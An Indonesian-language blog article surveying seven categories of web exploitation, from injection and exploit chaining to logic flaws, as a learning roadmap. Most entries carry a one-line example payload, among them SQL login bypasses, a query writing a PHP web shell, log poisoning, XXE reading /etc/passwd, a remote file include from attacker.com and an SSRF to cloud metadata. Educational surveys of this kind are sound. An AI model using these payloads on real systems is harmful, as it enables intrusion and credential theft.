CYBERATTACK — WEB EXPLOITATION: Daftar Lengkap Kategori, Metode, dan Contoh Serangan

CYBERATTACK — WEB EXPLOITATION: Daftar Lengkap Kategori, Metode, dan Contoh Serangan

Web Exploitation adalah seni dan ilmu mengeksploitasi celah keamanan pada aplikasi berbasis web. Dari manipulasi input sederhana sampai eksekusi kode jarak jauh — ini adalah kategori serangan yang paling luas dan paling sering ditemukan di lapangan. Artikel ini akan membantumu memahami 7 kategori utama web exploitation, lengkap dengan contoh dan konteks teknisnya.

Web exploitation bukan cuma soal “hack website” — ini adalah ekosistem kerentanan yang sangat luas. Dari form login yang bisa dibypass dengan ' OR 1=1 --, sampai server yang bisa diambil alih sepenuhnya lewat exploit chaining. Di artikel ini, kita akan memetakan semua kategori yang ada — sebagai peta jalan (roadmap) buat lo yang mau mendalami web security, atau buat bahan riset dan konten edukasi.


1. Injection & Remote Code Execution (RCE)

Ini adalah kerentanan paling klasik dan paling berbahaya di web security. Terjadi ketika input dari pengguna tidak difilter dengan benar, sehingga server mengeksekusi perintah yang tidak seharusnya — baik itu query database, perintah sistem operasi, atau kode template.

  • SQL Injection (SQLi)
    Memasukkan query SQL berbahaya ke dalam input aplikasi untuk memanipulasi database.
    Varian: Error-based SQLi, Blind SQLi (Boolean & Time-based), Union-based SQLi, Out-of-Band SQLi.
    Contoh: ' OR 1=1 -- pada form login → bypass autentikasi.
  • OS Command Injection
    Memaksa server menjalankan perintah sistem operasi melalui input yang tidak disanitasi.
    Contoh: Input 8.8.8.8; id pada fitur ping → mengeksekusi id di server.
  • Server-Side Template Injection (SSTI)
    Mengeksploitasi template engine (Twig, Jinja2, Freemarker, dll) untuk mendapatkan RCE.
    Contoh (Jinja2): {{ ''.__class__.__mro__[1].__subclasses__() }} → eksplorasi kelas untuk RCE.
  • NoSQL Injection
    Mirip SQLi, tapi menargetkan database NoSQL seperti MongoDB, CouchDB, atau Cassandra.
    Contoh (MongoDB): {$ne: null} pada query JSON → bypass autentikasi.
  • LDAP Injection
    Injeksi pada query LDAP (Lightweight Directory Access Protocol) — sering dipakai di sistem autentikasi enterprise.
    Contoh: *)(uid=* → bypass login LDAP.
  • XPath Injection
    Injeksi pada query XML / XPath — sering muncul di aplikasi yang menyimpan data dalam format XML.
    Contoh: ' or '1'='1 pada XPath query → bypass autentikasi.

Bahaya: Injection adalah pintu masuk ke RCE — server bisa diambil alih sepenuhnya.


2. Exploit Chaining & Escalation

Seringkali satu kerentanan tidak cukup untuk mencapai tujuan akhir (RCE, data breach, atau full takeover). Penyerang menggabungkan beberapa celah — chaining — untuk naik level (escalation) dari kerentanan low-risk menjadi high-impact.

  • SQL2RCE
    Menggunakan SQL Injection (dengan hak akses tinggi seperti FILE privilege di MySQL) untuk menulis web shell ke server via INTO OUTFILE.
    Contoh: ' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' --
  • LFI2RCE (Log Poisoning)
    Menggunakan Local File Inclusion (LFI) untuk membaca file log server, lalu memasukkan payload PHP ke dalam log (via User-Agent atau parameter lain), dan memanggil file log tersebut untuk eksekusi.
    Contoh: ?file=../../../../var/log/apache/access.log → setelah payload di User-Agent: <?php system($_GET['cmd']); ?>
  • XSS2Shell
    Menggunakan XSS di panel admin untuk memaksa browser admin mengupload plugin berbahaya atau mengeksekusi skrip yang menghasilkan reverse shell.
    Contoh: XSS di feedback form → admin buka → skrip upload shell ke server.
  • SSRF + Cloud Metadata
    SSRF (Server-Side Request Forgery) digunakan untuk mengakses endpoint metadata cloud (AWS: http://169.254.169.254/latest/meta-data/) dan mencuri IAM credentials.
    Contoh: SSRF → akses metadata AWS → dapatkan akses ke S3 bucket.

3. Client-Side & Cross-Site Attacks

Serangan di kategori ini fokus ke sisi browser korban — atau memanfaatkan kepercayaan server terhadap browser tertentu. Targetnya adalah pengguna, bukan server (meskipun bisa berujung ke server).

  • Cross-Site Scripting (XSS)
    Menyisipkan skrip berbahaya (biasanya JavaScript) ke halaman web yang dikunjungi korban.
    Varian: Reflected XSS (langsung dari URL), Stored XSS (tersimpan di database), DOM-based XSS (dieksekusi di sisi client).
    Contoh: <script>alert('XSS')</script> di kolom komentar → muncul di semua pengunjung.
  • Cross-Site Request Forgery (CSRF)
    Memaksa browser korban yang sedang login untuk melakukan aksi tanpa sepengetahuan korban.
    Contoh: Korban klik link jahat → tanpa sadar transfer uang atau ganti password.
  • Server-Side Request Forgery (SSRF)
    Memaksa server web untuk melakukan request HTTP ke jaringan internal — sering dipakai untuk membobol cloud metadata atau internal service.
    Contoh: Fitur “fetch image from URL” → http://169.254.169.254/latest/meta-data/.
  • Clickjacking (UI Redress)
    Menipu korban agar mengklik elemen transparan yang sebenarnya adalah tombol aksi di web lain.
    Contoh: Halaman palsu dengan iframe transparan → korban klik “Mainkan Video” tapi sebenarnya klik “Setujui Transfer”.
  • JavaScript Obfuscation / Overwrite (JSO)
    Teknik yang sering dipakai di skena defacer lokal — menimpa halaman web dengan skrip JS yang sudah diobfuskasi sehingga sulit dibaca dan dibersihkan.
    Contoh: File index.php ditimpa dengan skrip obfuskasi yang menampilkan pesan deface.

4. Broken Authentication & Access Control

Celah pada mekanisme login dan hak akses — ini adalah salah satu kategori paling sering ditemukan di aplikasi web Indonesia, terutama di sektor pemerintahan dan pendidikan.

  • Bypass Admin / SQL Login Bypass
    Menggunakan payload sederhana di form login untuk masuk tanpa password.
    Contoh: ' OR '1'='1' -- atau admin' -- di kolom username.
  • Default Admin Credentials
    Kelalaian admin yang tidak mengganti kredensial bawaan sistem — masih sangat umum di perangkat IoT dan aplikasi CMS.
    Contoh: admin:admin, root:toor, user:password.
  • Insecure Direct Object Reference (IDOR)
    Mengganti parameter ID di URL untuk mengakses data orang lain — karena tidak ada validasi hak akses.
    Contoh: /profile?user_id=1 → ganti jadi user_id=2 → lihat profil user lain.
  • Session Hijacking / Fixation
    Mencuri atau memanipulasi cookie sesi untuk mengambil alih akun korban.
    Contoh: XSS mencuri cookie sessionid → digunakan untuk login sebagai korban.
  • JWT (JSON Web Token) Exploitation
    Memanipulasi token JWT — misalnya mengganti algoritma menjadi none, atau membongkar kunci rahasia yang lemah.
    Contoh: Token dengan algoritma HS256 diubah jadi none → bypass verifikasi.

5. File Management Vulnerabilities

Celah yang muncul dari fitur unggah (upload) atau baca file (read) yang tidak aman. Ini sering menjadi pintu masuk untuk RCE — terutama di aplikasi yang punya fitur upload gambar, dokumen, atau avatar.

  • Arbitrary File Upload
    Berhasil mengunggah file berbahaya (seperti .php, .phtml, atau .jsp) karena filter ekstensi file yang buruk atau bisa di-bypass.
    Contoh: Upload file shell.php.jpg → double extension bypass filter.
  • Local File Inclusion (LFI)
    Membaca file sensitif di dalam server melalui parameter file yang tidak divalidasi.
    Contoh: ?page=../../../../etc/passwd → baca file /etc/passwd.
  • Remote File Inclusion (RFI)
    Memaksa web memuat dan mengeksekusi file dari server penyerang — sering menghasilkan RCE.
    Contoh: ?page=http://attacker.com/shell.txt → server load dan eksekusi shell.
  • Directory / Path Traversal
    Menggunakan karakter ../ untuk keluar dari direktori web dan mengakses sistem file utama.
    Contoh: ?file=../../../../config/database.php → baca konfigurasi database.

6. CMS, Plugins, & 3rd-Party Components

Banyak eksploitasi terjadi bukan pada core code — melainkan pada plugin, tema, atau library yang sudah usang (outdated) atau memiliki kerentanan yang sudah diketahui publik.

  • WordPress Plugin Flaws
    Hampir setiap hari ada temuan kerentanan baru di ekosistem plugin WP — mulai dari SQLi, XSS, sampai bypass autentikasi.
    Contoh: Plugin WP dengan SQLi → ?id=1 UNION SELECT ...
  • Joomla Commedia / JDownload
    Kerentanan spesifik di ekstensi Joomla yang memungkinkan penyerang mengeksekusi file arbitrer atau RCE. Sering dieksploitasi menggunakan automated scanner.
    Contoh: CVE lama di komponen Joomla → akses file /administrator/...
  • TinyMCE Exploits
    Celah pada rich-text editor TinyMCE versi lama — biasanya memicu XSS atau file upload bypass.
    Contoh: TinyMCE dengan filemanager plugin → upload file .php.
  • jQuery File Upload (CVE-2018-9206)
    Celah terkenal di library jQuery versi lama yang memungkinkan arbitrary file upload tanpa autentikasi.
    Contoh: Akses /server/php/index.php → upload file → RCE.

7. Architecture & Logic Flaws

Kategori tingkat lanjut yang memanfaatkan desain infrastruktur atau logika bisnis yang cacat. Ini bukan bug di kode, tapi cacat di level desain — dan seringkali lebih sulit dideteksi oleh scanner otomatis.

  • Subdomain Takeover
    Mengambil alih subdomain perusahaan yang masih menunjuk ke layanan pihak ketiga (seperti AWS S3, GitHub Pages, Heroku) yang sudah tidak aktif.
    Contoh: subdomain.example.com → CNAME ke bucket.s3.amazonaws.com yang sudah dihapus → ambil alih bucket → hosting konten phishing.
  • XML External Entity (XXE)
    Memanfaatkan parser XML yang tidak dikonfigurasi dengan aman untuk membaca file internal, atau memicu SSRF.
    Contoh: <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> → baca /etc/passwd.
  • Race Conditions (TOCTOU — Time-of-check to time-of-use)
    Mengeksploitasi jeda waktu sepersekian milidetik saat sistem memproses data — sering dipakai di fitur finansial.
    Contoh: Menekan tombol “Tarik Saldo” berkali-kali secara bersamaan → menarik uang lebih dari saldo yang ada.
  • HTTP Request Smuggling
    Memanipulasi cara front-end server dan back-end server menerjemahkan batasan permintaan HTTP — bisa menghasilkan cache poisoning, session hijacking, atau request injection.
    Contoh: Mengirim request dengan dua Content-Length header yang berbeda → frontend dan backend baca request secara berbeda.

Ringkasan — Web Exploitation Roadmap

Ini adalah peta jalan (roadmap) 7 kategori utama web exploitation. Gunakan sebagai panduan belajar, materi riset, atau daftar periksa (checklist) saat melakukan security audit.

Kategori Metode & Contoh Tingkat Dampak
1. Injection & RCE SQLi, OS Command, SSTI, NoSQL, LDAP, XPath Sangat Tinggi
2. Exploit Chaining SQL2RCE, LFI2RCE, XSS2Shell, SSRF+Cloud Sangat Tinggi
3. Client-Side & Cross-Site XSS, CSRF, SSRF, Clickjacking, JSO Tinggi
4. Broken Auth & Access Bypass, IDOR, Session Hijack, JWT Exploit Tinggi
5. File Management Arbitrary Upload, LFI, RFI, Path Traversal Tinggi
6. CMS & 3rd-Party WP Plugin, Joomla, TinyMCE, jQuery Upload Sedang – Tinggi
7. Architecture & Logic Subdomain Takeover, XXE, Race Condition, HTTP Smuggling Bervariasi
⚠️ Catatan penting: Daftar ini adalah roadmap untuk belajar dan riset — bukan panduan untuk melakukan serangan ilegal. Gunakan pengetahuan ini untuk melindungi, bukan merusak. Pelajari untuk menjadi security engineer, bug bounty hunter yang etis, atau penetration tester yang bertanggung jawab.

 Artikel Terkait / Baca Juga

Artikel ini adalah bagian dari CyberAttack Series. Untuk pendalaman lebih lanjut, baca juga artikel terkait berikut:


TL;DR — Web Exploitation dalam 7 Poin

  • 1. Injection & RCE: SQLi, OS Command, SSTI — input tidak difilter → server mengeksekusi perintah berbahaya.
  • 2. Exploit Chaining: Gabungkan beberapa kerentanan → SQL2RCE, LFI2RCE, XSS2Shell — dari low-risk ke high-impact.
  • 3. Client-Side & Cross-Site: XSS, CSRF, SSRF — target browser dan pengguna, bukan server.
  • 4. Broken Auth & Access: Bypass login, IDOR, Session Hijack — celah di mekanisme autentikasi dan otorisasi.
  • 5. File Management: Upload shell, LFI, RFI, Path Traversal — celah di fitur unggah dan baca file.
  • 6. CMS & 3rd-Party: Plugin WP, Joomla, TinyMCE — eksploitasi komponen pihak ketiga yang usang.
  • 7. Architecture & Logic: Subdomain Takeover, XXE, Race Condition — cacat di level desain dan infrastruktur.
📌 Referensi & Bacaan Lanjutan:
OWASP Top 10 2021 — Kategori utama kerentanan web
OWASP Testing Guide — Metodologi pengujian keamanan web
PortSwigger Web Security Academy — Lab praktik web exploitation
MITRE ATT&CK — T1190: Exploit Public-Facing Application
CVE Database — Cari kerentanan berdasarkan kategori

You may also like...

1 Response

  1. October 2, 2026

    […] Exploitation: Daftar Lengkap Kategori, Metode, dan Contoh SeranganRoadmap 7 kategori utama web exploitation — dari Injection & RCE sampai Architecture & […]

Leave a Reply

Your email address will not be published. Required fields are marked *